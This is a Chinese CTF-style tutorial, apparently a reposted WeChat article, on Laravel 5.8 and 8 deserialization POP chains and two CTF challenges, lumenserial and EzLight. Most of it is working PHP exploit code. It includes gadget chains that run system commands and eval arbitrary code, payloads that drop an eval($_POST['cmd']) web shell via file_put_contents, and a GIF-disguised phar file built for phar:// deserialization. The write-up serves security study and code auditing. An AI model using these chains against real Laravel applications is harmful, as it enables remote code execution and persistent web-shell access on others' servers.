通过几道CTF题学习Laravel框架

admin

101366
文章

87
评论

2021年7月27日02:41:08评论82 views字数 12466阅读41分33秒阅读模式

原创稿件征集

邮箱：[email protected]

QQ：3200599554

黑客与极客相关，互联网安全领域里

的热点话题

漏洞、技术相关的调查或分析

稿件通过并发布还能收获

200-800元不等的稿酬

简介

Laravel是一款比较流行的优秀 PHP 开发框架，通过这个框架来入门大型框架的代码审计、包括锻炼反序列化漏洞的挖掘利用是比较合适的，本文分析了Laravel5和Laravel8两个版本的部分利用链，并结合CTF题目来学习Laravel框架

Laravel5.8.x反序列化POP链

安装：其中--prefer-dist表示优先下载zip压缩包方式

composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8

在路由文件routes/web.php中添加

Route::get('/foo', function () {    if(isset($_GET['c'])){        $code = $_GET['c'];        unserialize($code);    }    else{        highlight_file(__FILE__);    }    return "Test laravel5.8 pop";});

然后在public目录起一个php服务就可以进行测试了cd /public

php -S 0.0.0.0:port/foo?c=

链一

链的入口是在

laravel5.8vendorlaravelframeworksrcIlluminateBroadcastingPendingBroadcast.php

public function __destruct(){        $this->events->dispatch($this->event);    }

这里的$this->events和$this->event可控，

这里把$this->events设为含有dispatch方法的Dispatcher类，我们看到laravel5.8vendorlaravelframeworksrcIlluminateBusDispatcher.php来

public function dispatch($command){        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {            return $this->dispatchToQueue($command);        }        return $this->dispatchNow($command);    }

跟踪进commandShouldBeQueued

protected function commandShouldBeQueued($command){        return $command instanceof ShouldQueue;    }

这里要求$command（即传进来的$this->event）要实现ShouldQueue该接口

通过几道CTF题学习Laravel框架

满足ShouldQueue接口的实现类即可，再跟踪进dispatchToQueue看一下public function dispatchToQueue($command)

{        $connection = $command->connection ?? null;
        $queue = call_user_func($this->queueResolver, $connection);

这里的$this->queueResolver和$connection都是可控的，到这里就可以直接构造payload

rce

<?phpnamespace IlluminateBroadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;        }    }    class BroadcastEvent {        public $connection;        public function __construct($connection) {            $this->connection = $connection;        }    }}namespace IlluminateBus {    class Dispatcher {        protected $queueResolver;        public function __construct($queueResolver){            $this->queueResolver = $queueResolver;        }    }}namespace {    $c = new IlluminateBroadcastingBroadcastEvent('whoami');    $b = new IlluminateBusDispatcher('system');    $a = new IlluminateBroadcastingPendingBroadcast($b, $c);    print(urlencode(serialize($a)));}

eval执行

到这里已经可以调用任意类的任意方法了，但是call_user_func无法执行eval函数，如果我们的system被ban了的话，就需要继续寻找执行任意命令的函数，我们找到laravel5.8vendormockerymockerylibraryMockeryLoaderEvalLoader.php

class EvalLoader implements Loader{    public function load(MockDefinition $definition){        if (class_exists($definition->getClassName(), false)) {            return;        }
        eval("?>" . $definition->getCode());    }}

这里有一个eval函数，这里需要绕过eval上面的if语句，否则直接就return了

$definition变量是MockDefinition类，跟进一下class MockDefinition

{    protected $config;    protected $code;    ...    public function getClassName(){        return $this->config->getName();    }    public function getCode(){        return $this->code;    }}

这里$code，$config可控，但是呢$definition->getClassName()需要一个不存在的类，我们找一个类其getName是可控的，然后构造一个不存在的类即可，如下

laravel5.8vendormockerymockerylibraryMockeryGeneratorMockConfiguration.php

class MockConfiguration{    ...public function getName(){        return $this->name;    }    ...}

payload如下

<?phpnamespace IlluminateBroadcasting{    class PendingBroadcast{        protected $events;        protected $event;        public function __construct($events, $event){            $this->event = $event;            $this->events = $events;        }    }}namespace IlluminateBroadcasting{    class BroadcastEvent    {        public $connection;
        public function __construct($connection){            $this->connection = $connection;        }    }}namespace IlluminateBus{    class Dispatcher    {        protected $queueResolver;
        public function __construct($queueResolver){            $this->queueResolver = $queueResolver;        }    }}namespace MockeryGenerator{    class MockDefinition    {        protected $config;        protected $code;
        public function __construct(MockConfiguration $config){            $this->config = $config;            $this->code = '<?php phpinfo();?>';        }    }}
namespace MockeryGenerator{    class MockConfiguration    {        protected $name = "none class";    }}
namespace MockeryLoader{    class EvalLoader    {        public function load(MockDefinition $definition)        {
        }    }}namespace {    $config = new MockeryGeneratorMockConfiguration();    $connection = new MockeryGeneratorMockDefinition($config);    $event = new IlluminateBroadcastingBroadcastEvent($connection);    $queueResolver = array(new MockeryLoaderEvalLoader(),"load");    $events = new IlluminateBusDispatcher($queueResolver);    $pendingBroadcast = new IlluminateBroadcastingPendingBroadcast($events, $event);    echo urlencode(serialize($pendingBroadcast));}

利用跳板

如果说靶机禁用了system等函数，我们希望用file_put_contents写shell等双参数的函数呢，这里有一个好的跳板

laravel5.8vendorphpoptionphpoptionsrcPhpOptionLazyOption.php

final class LazyOption extends Option{    ...    public function filter($callable){        return $this->option()->filter($callable);    }    ...private function option(){        if (null === $this->option) {            /** @var mixed */            $option = call_user_func_array($this->callback, $this->arguments);

这里的$this->callback，$this->arguments是可控的，但是注意到option的属性是private，无法直接从我们刚刚的call_user_func直接去调用它，但是有许多类似filter的函数里面有调用option的

这里可以直接构造payload

<?phpnamespace IlluminateBroadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;        }    }    class BroadcastEvent {        public $connection;        public function __construct($connection) {            $this->connection = $connection;        }    }}namespace IlluminateBus {    class Dispatcher {        protected $queueResolver;        public function __construct($queueResolver){            $this->queueResolver = $queueResolver;        }    }}namespace PhpOption{    final class LazyOption{        private $callback;        private $arguments;        public function __construct($callback, $arguments){            $this->callback = $callback;            $this->arguments = $arguments;        }    }}namespace {    $d = new PhpOptionLazyOption("file_put_contents", ["shell.php", "<?php eval($_POST['cmd']) ?>"]);    $c = new IlluminateBroadcastingBroadcastEvent('whoami');    $b = new IlluminateBusDispatcher(array($d,"filter"));    $a = new IlluminateBroadcastingPendingBroadcast($b, $c);    print(urlencode(serialize($a)));}

链二

入口同样是

public function __destruct(){        $this->events->dispatch($this->event);    }

这里转换思路，找某个类没有实现dispatch方法却有__call方法，这里就可以直接调用，找到

laravel5.8vendorlaravelframeworksrcIlluminateValidationValidator.php



class Validator implements ValidatorContract{    ...public function __call($method, $parameters){        $rule = Str::snake(substr($method, 8));
        if (isset($this->extensions[$rule])) {            return $this->callExtension($rule, $parameters);        }这里的$method是固定的字符串dispatch，传到$rule的时候为空，然后$this->extensions可控跟踪进callExtension方法protected function callExtension($rule, $parameters){        $callback = $this->extensions[$rule];
        if (is_callable($callback)) {            return call_user_func_array($callback, $parameters);

$callback和$parameters可控，于是就可以构造payload了

<?phpnamespace IlluminateBroadcasting{    class PendingBroadcast{        protected $events;        protected $event;
        public function __construct($events, $event){            $this->events = $events;            $this->event = $event;        }    }}
namespace IlluminateValidation{    class Validator{        protected $extensions;        public function __construct($extensions){            $this->extensions = $extensions;        }    }}
namespace{    $b = new IlluminateValidationValidator(array(''=>'system'));    $a = new IlluminateBroadcastingPendingBroadcast($b, 'id');    echo urlencode(serialize($a));}

这条链在Laravel8里面也是可以用的

利用跳板

和上面一样可以加LazyOption这个跳板

<?phpnamespace IlluminateBroadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;        }    }}
namespace IlluminateValidation {    class Validator {        public $extensions;        public function __construct($extensions){            $this->extensions = $extensions;        }    }}
namespace PhpOption {    class LazyOption {        private $callback;        private $arguments;        public function __construct($callback, $arguments) {            $this->callback = $callback;            $this->arguments = $arguments;        }    }}
namespace {    $c = new PhpOptionLazyOption("file_put_contents", ["shell.php", "<?php eval($_POST['cmd']) ?>"]);    $b = new IlluminateValidationValidator(array(''=>array($c, 'filter')));    $a = new IlluminateBroadcastingPendingBroadcast($b, 'whoami');    print(urlencode(serialize($a)));}

Laravel8反序列化POP链

在下面参考链接文章中Laravel8有介绍三条链都很详细，链和上面Laravel5.8也差不太多，就不赘述，然后有一条可以phpnfo的，同样是经典入口类

laravel859vendorlaravelframeworksrcIlluminateBroadcastingPendingBroadcast.php

public function __destruct(){        $this->events->dispatch($this->event);    }

这里的$this->events和$this->event可控

同样这里有两种方法，要不使$this->events为某个拥有dispatch方法的类，我们可以调用这个类的dispatch方法

要不就使$this->events为某个类，并且该类没有实现dispatch方法却有__call方法，那么就可以调用这个__call方法了

看到

laravel859vendorlaravelframeworksrcIlluminateViewInvokableComponentVariable.php

public function __call($method, $parameters){        return $this->__invoke()->{$method}(...$parameters);    }
    /**     * Resolve the variable.     *     * @return mixed     */    public function __invoke(){        return call_user_func($this->callable);    }

这里的_call会直接调用__invoke，$this->callable也是我们可控的，不过这里只能调用phpinfo，比较鸡肋，payload如下

<?phpnamespace IlluminateBroadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;        }    }}namespace IlluminateView {    class InvokableComponentVariable {        protected $callable;        public function __construct($callable){        $this->callable = $callable;    }    }}
namespace {    $b = new IlluminateViewInvokableComponentVariable('phpinfo');    $a = new IlluminateBroadcastingPendingBroadcast($b, 1);    print(urlencode(serialize($a)));}

因为这里我们只能控制$this->callable，想要rce的话，还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的，但是这里我找了好像没找到，读者有兴趣可以去试试

CTF题目

lumenserial

lumenserialroutesweb.php先看到路由文件

$router->get('/server/editor', 'EditorController@main');$router->post('/server/editor', 'EditorController@main');

再看到

lumenserialappHttpControllersEditorController.php

class EditorController extends Controller{private function download($url){...        $content = file_get_contents($url);

发现这里的$url传进file_get_contents可以phar反序列化，然后$url的值来源于doCatchimage 方法中的 $sources 变量

class EditorController extends Controller{    ...protected function doCatchimage(Request $request){        $sources = $request->input($this->config['catcherFieldName']);        $rets = [];
        if ($sources) {            foreach ($sources as $url) {                $rets[] = $this->download($url);            }

我们看到main发现他是通过call_user_func来调用带do开头的方法

class EditorController extends Controller{    ...public function main(Request $request){        $action = $request->query('action');
        try {            if (is_string($action) && method_exists($this, "do{$action}")) {                return call_user_func([$this, "do{$action}"], $request);            } else {

可以通过如下控制变量

http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif

然后在上面的5.8链的基础加上如下

@unlink("test.phar");$phar = new Phar("test.phar");//后缀名必须为phar$phar->startBuffering();$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test");//添加要压缩的文件$phar->stopBuffering();

上传phar文件再用phar协议打即可

通过几道CTF题学习Laravel框架

[HMBCTF 2021]EzLight

给了source.zip源码，是laravel框架开发的lightcms，先在本地把环境搭起来先，主要是修改.env文件改改数据库信息

先看到sourcesourceappHttpControllersAdminNEditorController.php

public function catchImage(Request $request){    ...    $files = array_unique((array) $request->post('file'));        $urls = [];        foreach ($files as $v) {            $image = $this->fetchImageFile($v);

在catchImage函数里面以post传给file参数再给到fetchImageFile的$url

protected function fetchImageFile($url){    if (isWebp($data)) {                $image = Image::make(imagecreatefromwebp($url));                $extension = 'webp';            } else {                $image = Image::make($data);            }

这里的$url可控，这里imagecreatefromwebp因为isWebp的限制无法进入，所以这里的分支是进入Image::make($data);来，我们在此处下一个断点，然后分析一下前面的代码，我们需要在vps上放一个图片的链接，然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了

然后一直跟进就可以发现有个file_get_contents函数

通过几道CTF题学习Laravel框架

至此结束，这里可以phar反序列化了

用上面的链一即可

<?phpnamespace IlluminateBroadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;        }    }    class BroadcastEvent {        public $connection;        public function __construct($connection) {            $this->connection = $connection;        }    }}namespace IlluminateBus {    class Dispatcher {        protected $queueResolver;        public function __construct($queueResolver){            $this->queueResolver = $queueResolver;        }    }}namespace PhpOption{    final class LazyOption{        private $callback;        private $arguments;        public function __construct($callback, $arguments){            $this->callback = $callback;            $this->arguments = $arguments;        }    }}namespace {    $d = new PhpOptionLazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval($_POST['cmd']);?>"]);    $c = new IlluminateBroadcastingBroadcastEvent('whoami');    $b = new IlluminateBusDispatcher(array($d,"filter"));    $a = new IlluminateBroadcastingPendingBroadcast($b, $c);    print(urlencode(serialize($a)));
    @unlink("test.phar");    $phar = new Phar("test.phar");//后缀名必须为phar    $phar->startBuffering();    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub    $phar->setMetadata($a);//将自定义的meta-data存入manifest    $phar->addFromString("test.txt", "test");//添加要压缩的文件    $phar->stopBuffering();    rename('test.phar','test.jpg');}

上传之后，在vps上放

phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif

再到/admin/neditor/serve/catchImage用file传参打就可以了

参考链接

https://laravelacademy.org/books/laravel-docs-5_7

https://xz.aliyun.com/t/5911

https://www.anquanke.com/post/id/189718#h2-9

https://www.anquanke.com/post/id/231079

实操推荐

PHP反序列化漏洞：（复制链接体验）

https://www.hetianlab.com/expc.doec=ECID172.19.104.182016010714511600001&pk_campaign=weixin-wemedia#stu

通过几道CTF题学习Laravel框架

戳阅读原文，体验免费靶场！

本文始发于微信公众号（合天网安实验室）：通过几道CTF题学习Laravel框架

左青龙
微信扫一扫

右白虎
微信扫一扫

通过几道CTF题学习Laravel框架

简介

Laravel5.8.x反序列化POP链

链一

rce

eval执行

利用跳板

链二

利用跳板

Laravel8反序列化POP链

CTF题目

lumenserial

[HMBCTF 2021]EzLight

参考链接

实操推荐

2024 红明谷 dualrsa

2024第四届红明谷 WriteUp By Mini-Venom

第二届数据安全大赛暨首届数信杯数据安全大赛数据安全积分争夺赛预赛南区- WriteUp By EDISEC

来写点安卓逆向题吧③：dynamicRegReverse

东区-第二届数据安全大赛暨首届数信杯数据安全大赛 WP

第二届数据安全大赛暨首届数信杯北部赛区writeup

2024 数信杯

第二届数据安全大赛暨首届数信杯积分争夺赛实践预赛南区Writeup

第二届数据安全大赛暨首届数信杯东部赛区writeup

西区-第二届数据安全大赛暨首届数信杯数据安全大赛 WP

发表评论

在线咨询

微信